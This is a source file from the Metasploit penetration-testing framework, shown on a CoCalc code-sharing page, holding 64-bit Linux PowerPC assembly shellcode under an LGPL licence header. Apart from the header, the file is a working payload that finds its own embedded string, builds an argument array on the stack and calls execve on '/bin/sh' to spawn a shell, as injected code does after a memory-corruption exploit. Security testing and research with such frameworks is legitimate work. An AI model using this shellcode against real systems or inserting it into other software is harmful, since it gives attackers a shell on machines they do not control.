CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-shellcode64.S
Views: 11765
1
/*
2
* lin-power-shellcode64.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#include "linux-power.h"
22
23
.globl main
24
25
main:
26
27
shellcode64:
28
lil %r31,__CAL
29
xor. %r5,%r5,%r5
30
bnel shellcode64
31
mflr %r30
32
cal %r30,511(%r30)
33
cal %r3,-511+36(%r30)
34
stb %r5,-511+43(%r30)
35
stdu %r5,-8(%r1)
36
stdu %r3,-8(%r1)
37
mr %r4,%r1
38
cal %r0,__NC_execve(%r31)
39
.long 0x44ffff02
40
.asciz "/bin/sh"
41
42
43